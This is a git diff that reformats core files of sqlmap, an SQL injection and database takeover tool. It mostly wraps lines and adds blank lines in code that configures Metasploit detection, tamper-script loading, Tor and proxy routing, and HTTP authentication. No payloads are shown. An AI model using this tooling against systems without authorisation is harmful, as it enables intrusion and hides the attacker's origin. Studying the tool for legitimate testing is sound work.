msfEnvPathExists = True - if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): + if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for + _ in ("msfvenom",)): kb.oldMsf = False - elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): + elif all( + os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for + _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False @@ -649,6 +669,7 @@ def _setMetasploit(): errMsg += "You can get it at 'https://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) + def _setWriteFile(): if not conf.fileWrite: return @@ -667,6 +688,7 @@ def _setWriteFile(): conf.fileWriteType = getFileType(conf.fileWrite) + def _setOS(): """ Force the back-end DBMS operating system option. @@ -690,6 +712,7 @@ def _setOS(): Backend.setOs(conf.os) + def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] @@ -711,6 +734,7 @@ def _setTechnique(): conf.technique = _ + def _setDBMS(): """ Force the back-end DBMS option. @@ -731,7 +755,8 @@ def _setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join( + sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) @@ -742,6 +767,7 @@ def _setDBMS(): break + def _listTamperingFunctions(): """ Lists available tamper functions @@ -756,7 +782,9 @@ def _listTamperingFunctions(): match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() - dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) + dataToStdout("* %s - %s\n" % ( + setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) + def _setTamperingFunctions(): """ @@ -810,12 +838,16 @@ def _setTamperingFunctions(): try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: - raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + raise SqlmapSyntaxException( + "cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or hasattr(inspect, "getargspec") and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): + if name == "tamper" and (hasattr(inspect, "signature") and all( + _ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or hasattr(inspect, + "getargspec") and inspect.getargspec( + function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) function.__name__ = module.__name__ @@ -864,6 +896,7 @@ def _setTamperingFunctions(): for _, function in priorities: kb.tamperFunctions.append(function) + def _setPreprocessFunctions(): """ Loads preprocess function(s) from given script(s) @@ -908,11 +941,13 @@ def _setPreprocessFunctions(): try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: - raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + raise SqlmapSyntaxException( + "cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): try: - if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + if name == "preprocess" and inspect.getargspec(function).args and all( + _ in inspect.getargspec(function).args for _ in ("req",)): found = True kb.preprocessFunctions.append(function) @@ -947,6 +982,7 @@ def _setPreprocessFunctions(): errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) + def _setPostprocessFunctions(): """ Loads postprocess function(s) from given script(s) @@ -991,10 +1027,12 @@ def _setPostprocessFunctions(): try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: - raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + raise SqlmapSyntaxException( + "cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + if name == "postprocess" and inspect.getargspec(function).args and all( + _ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): found = True kb.postprocessFunctions.append(function) @@ -1013,7 +1051,8 @@ def _setPostprocessFunctions(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) - openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(filename, "w+b").write( + "#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") errMsg = "function 'postprocess(page, headers=None, code=None)' " @@ -1022,10 +1061,12 @@ def _setPostprocessFunctions(): errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) + def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 + def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. @@ -1043,6 +1084,7 @@ def _setDNSCache(): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo + def _setSocketPreConnect(): """ Makes a pre-connect version of socket.create_connection @@ -1100,6 +1142,7 @@ def _setSocketPreConnect(): setDaemon(thread) thread.start() + def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. @@ -1143,7 +1186,8 @@ def _setHTTPHandlers(): pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): - errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) + errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join( + _[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) if conf.proxyCred: @@ -1163,7 +1207,9 @@ def _setHTTPHandlers(): warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" singleTimeWarnMessage(warnMsg) - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) + socks.setdefaultproxy( + socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, + username=username, password=password) socks.wrapmodule(_http_client) else: socks.unwrapmodule(_http_client) @@ -1187,7 +1233,9 @@ def _setHTTPHandlers(): debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) - handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) + handlers = filterNone( + [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, + rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: @@ -1216,6 +1264,7 @@ def _setHTTPHandlers(): opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" _urllib.request.install_opener(opener) + def _setSafeVisit(): """ Check and set the safe visit options. @@ -1275,6 +1324,7 @@ def _setSafeVisit(): errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) + def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix @@ -1303,14 +1353,18 @@ def _setPrefixSuffix(): # to be tested for conf.boundaries = [boundary] + def _setAuthCred(): """ Adds authentication credentials (if any) for current target to the password manager (used by connection handler) """ - if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): - kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) + if kb.passwordMgr and all( + _ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): + kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, + conf.authPassword) + def _setHTTPAuthentication(): """ @@ -1337,7 +1391,8 @@ def _setHTTPAuthentication(): errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) - elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + elif (conf.authType or "").lower() not in ( + AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " errMsg += "Basic, Digest, Bearer, NTLM or PKI" raise SqlmapSyntaxException(errMsg) @@ -1400,6 +1455,7 @@ def _setHTTPAuthentication(): checkFile(_) authHandler = HTTPSPKIAuthHandler(_) + def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" @@ -1431,6 +1487,7 @@ def _setHTTPExtraHeaders(): # Reference: http://stackoverflow.com/a/1383359 conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) + def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. @@ -1490,6 +1547,7 @@ def _setHTTPUserAgent(): conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) + def _setHTTPReferer(): """ Set the HTTP Referer @@ -1501,6 +1559,7 @@ def _setHTTPReferer(): conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) + def _setHTTPHost(): """ Set the HTTP Host @@ -1512,6 +1571,7 @@ def _setHTTPHost(): conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) + def _setHTTPCookies(): """ Set the HTTP Cookie header @@ -1523,6 +1583,7 @@ def _setHTTPCookies(): conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) + def _setHostname(): """ Set value conf.hostname @@ -1536,6 +1597,7 @@ def _setHostname(): errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) raise SqlmapDataException(errMsg) + def _setHTTPTimeout(): """ Set the HTTP timeout @@ -1561,6 +1623,7 @@ def _setHTTPTimeout(): except OverflowError as ex: raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) + def _checkDependencies(): """ Checks for missing dependencies. @@ -1569,6 +1632,7 @@ def _checkDependencies(): if conf.dependencies: checkDependencies() + def _createHomeDirectories(): """ Creates directories inside sqlmap's home directory @@ -1578,7 +1642,8 @@ def _createHomeDirectories(): return for context in ("output", "history"): - directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 + directory = paths[ + "SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 try: if not os.path.isdir(directory): os.makedirs(directory) @@ -1592,16 +1657,19 @@ def _createHomeDirectories(): logger.warning(warnMsg) except (OSError, IOError) as ex: tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) - warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) + warnMsg = "unable to %s %s directory " % ( + "create" if not os.path.isdir(directory) else "write to the", context) warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) paths["SQLMAP_%s_PATH" % context.upper()] = tempDir + def _pympTempLeakPatch(tempDir): # Cross-referenced function raise NotImplementedError + def _createTemporaryDirectory(): """ Creates temporary directory for this run. @@ -1656,6 +1724,7 @@ def _createTemporaryDirectory(): if six.PY3: _pympTempLeakPatch(kb.tempDir) + def _cleanupOptions(): """ Cleanup configuration attributes. @@ -1824,6 +1893,7 @@ def _cleanupOptions(): finally: class _(six.text_type): pass + conf.csrfToken = _(conf.csrfToken) conf.csrfToken._original = original @@ -1939,6 +2009,7 @@ def _cleanupOptions(): threadData = getCurrentThreadData() threadData.reset() + def _cleanupEnvironment(): """ Cleanup environment (e.g. from leftovers after --shell). @@ -1950,6 +2021,7 @@ def _cleanupEnvironment(): if hasattr(socket, "_ready"): socket._ready.clear() + def _purge(): """ Safely removes (purges) sqlmap data directory. @@ -1958,6 +2030,7 @@ def _purge(): if conf.purge: purge(paths.SQLMAP_HOME_PATH) + def _setConfAttributes(): """ This function set some needed attributes into the configuration @@ -1995,6 +2068,7 @@ def _setConfAttributes(): conf.HARCollectorFactory = None conf.fileWriteType = None + def _setKnowledgeBaseAttributes(flushAll=True): """ This function set some needed attributes into the knowledge base @@ -2035,9 +2109,12 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) - kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) - kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) - kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + kb.chars.start = "%s%s%s" % ( + KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.stop = "%s%s%s" % ( + KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) + kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ( + "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.choices = AttribDict(keycheck=False) kb.codePage = None @@ -2106,7 +2183,9 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ( + "cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", + "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None @@ -2206,6 +2285,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.wafFunctions = [] kb.wordlists = None + def _useWizardInterface(): """ Presents simple wizard interface for beginner users @@ -2220,11 +2300,13 @@ def _useWizardInterface(): message = "Please enter full target URL (-u): " conf.url = readInput(message, default=None, checkBatch=False) - message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) + message = "%s data (--data) [Enter for None]: " % ( + (conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): - warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) + warnMsg = "no GET and/or %s parameter(s) found for testing " % ( + (conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" @@ -2276,6 +2358,7 @@ def _useWizardInterface(): kb.wizardMode = True + def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file @@ -2293,6 +2376,7 @@ def _saveConfig(): infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) + def setVerbosity(): """ This function set the verbosity of sqlmap output messages. @@ -2319,6 +2403,7 @@ def setVerbosity(): elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) + def _normalizeOptions(inputOptions): """ Sets proper option types @@ -2356,6 +2441,7 @@ def _normalizeOptions(inputOptions): inputOptions[key] = value + def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @@ -2410,6 +2496,7 @@ def _mergeOptions(inputOptions, overrideOptions): mergedOptions.update(conf) + def _setTrafficOutputFP(): if conf.trafficFile: infoMsg = "setting file for logging HTTP traffic" @@ -2417,12 +2504,14 @@ def _setTrafficOutputFP(): conf.trafficFP = openFile(conf.trafficFile, "w+") + def _setupHTTPCollector(): if not conf.harFile: return conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() + def _setDNSServer(): if not conf.dnsDomain: return @@ -2447,15 +2536,18 @@ def _setDNSServer(): errMsg += "for incoming address resolution attempts" raise SqlmapMissingPrivileges(errMsg) + def _setProxyList(): if not conf.proxyFile: return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", + readCachedFileContent(conf.proxyFile)): _, type_, address, port = match.groups() conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + def _setTorProxySettings(): if not conf.tor: return @@ -2465,6 +2557,7 @@ def _setTorProxySettings(): else: _setTorSocksProxySettings() + def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) @@ -2487,6 +2580,7 @@ def _setTorHttpProxySettings(): warnMsg += "(e.g. Vidalia)" logger.warning(warnMsg) + def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) @@ -2500,9 +2594,11 @@ def _setTorSocksProxySettings(): raise SqlmapConnectionException(errMsg) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, + LOCALHOST, port) socks.wrapmodule(_http_client) + def _setHttpChunked(): if conf.chunked and conf.data: if hasattr(_http_client.HTTPConnection, "_set_content_length"): @@ -2517,6 +2613,7 @@ def _setHttpChunked(): _http_client.HTTPConnection.putheader = putheader + def _checkWebSocket(): if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): try: @@ -2526,6 +2623,7 @@ def _checkWebSocket(): errMsg += "in order to use WebSocket functionality" raise SqlmapMissingDependence(errMsg) + def _checkTor(): if not conf.checkTor: return @@ -2545,6 +2643,7 @@ def _checkTor(): infoMsg = "Tor is properly being used" logger.info(infoMsg) + def _basicOptionValidation(): if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" @@ -2563,12 +2662,12 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ - isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: + isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" logger.warning(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ - isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: + isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) @@ -2688,7 +2787,6 @@ def _basicOptionValidation(): warnMsg += "option '--retry-on' was provided" logger.warning(warnMsg) - if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) @@ -2796,11 +2894,13 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): - errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(PROXY_TYPE, True)) + errMsg = "option '--tor-type' accepts one of following values: %s" % ", ".join( + getPublicTypeMembers(PROXY_TYPE, True)) raise SqlmapSyntaxException(errMsg) if conf.dumpFormat not in getPublicTypeMembers(DUMP_FORMAT, True): - errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) + errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join( + getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) if conf.skip and conf.testParameter: @@ -2833,7 +2933,9 @@ def _basicOptionValidation(): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" raise SqlmapSyntaxException(errMsg) - if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, + conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, + conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) @@ -2866,11 +2968,13 @@ def _basicOptionValidation(): errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) raise SqlmapFilePathException(errMsg) + def initOptions(inputOptions=AttribDict(), overrideOptions=False): _setConfAttributes() _setKnowledgeBaseAttributes() _mergeOptions(inputOptions, overrideOptions) + def init(): """ Set attributes into both configuration and knowledge base singletons diff --git a/lib/core/patch.py b/lib/core/patch.py index 186814325..92cb9b956 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -42,6 +42,7 @@ from thirdparty.six.moves import http_client as _http_client _rand = 0 + def dirtyPatches(): """ Place for "dirty" Python related patches @@ -93,6 +94,7 @@ def dirtyPatches(): else: os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + def resolveCrossReferences(): """ Place for cross-reference resolution @@ -112,6 +114,7 @@ def resolveCrossReferences(): lib.utils.sqlalchemy.getSafeExString = getSafeExString thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode + def pympTempLeakPatch(tempDir): """ Patch for "pymp" leaking directories inside Python3 @@ -123,6 +126,7 @@ def pympTempLeakPatch(tempDir): except: pass + def unisonRandom(): """ Unifying random generated data across different Python versions diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 4fddab24a..75720d525 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -11,6 +11,7 @@ import os from lib.core.data import logger from lib.core.data import paths + def profile(profileOutputFile=None): """ This will run the program and present profiling data in a nice looking graph @@ -25,5 +26,6 @@ def profile(profileOutputFile=None): # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) - infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) + infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % ( + profileOutputFile, profileOutputFile) logger.info(infoMsg) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 0a6c1dd51..05fe57e30 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -59,4 +59,5 @@ if _readline: def clear_history(): pass + _readline.clear_history = clear_history diff --git a/lib/core/replication.py b/lib/core/replication.py index 236d1ed44..94c0c1aa8 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -16,6 +16,7 @@ from lib.core.exception import SqlmapValueException from lib.core.settings import UNICODE_ENCODING from lib.utils.safe2bin import safechardecode + class Replication(object): """ This class holds all methods/classes used for database @@ -61,11 +62,15 @@ class Replication(object): try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: - self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join( + '"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in + self.columns))) else: - self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join( + '"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) except Exception as ex: - errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) + errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, + UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) @@ -75,7 +80,8 @@ class Replication(object): """ if len(values) == len(self.columns): - self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) + self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), + safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" raise SqlmapValueException(errMsg) @@ -87,7 +93,8 @@ class Replication(object): except UnicodeError: self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) except sqlite3.OperationalError as ex: - errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) + errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, + UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) diff --git a/lib/core/revision.py b/lib/core/revision.py index 7abd30cd0..9e540547a 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -12,6 +12,7 @@ import subprocess from lib.core.common import openFile from lib.core.convert import getText + def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" @@ -56,7 +57,8 @@ def getRevisionNumber(): if not retVal: try: - process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, + stderr=subprocess.PIPE) stdout, _ = process.communicate() match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or "")) retVal = match.group(0) if match else None diff --git a/lib/core/session.py b/lib/core/session.py index c50d7b03e..504ab6a80 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -16,6 +16,7 @@ from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.settings import SUPPORTED_DBMS + def setDbms(dbms): """ @param dbms: database management system to be set into the knowledge @@ -37,6 +38,7 @@ def setDbms(dbms): logger.info("the back-end DBMS is %s" % Backend.getDbms()) + def setOs(): """ Example of kb.bannerFp dictionary: diff --git a/lib/core/settings.py b/lib/core/settings.py index 93a8da31e..90c3bf691 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -23,7 +23,8 @@ from thirdparty.six import unichr as _unichr VERSION = "1.7.1.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} -VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) +VERSION_STRING = "sqlmap/%s#%s" % ( +'.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "https://sqlmap.org" DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) @@ -128,7 +129,8 @@ MAX_MURPHY_SLEEP_TIME = 3 GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Google Search consent cookie 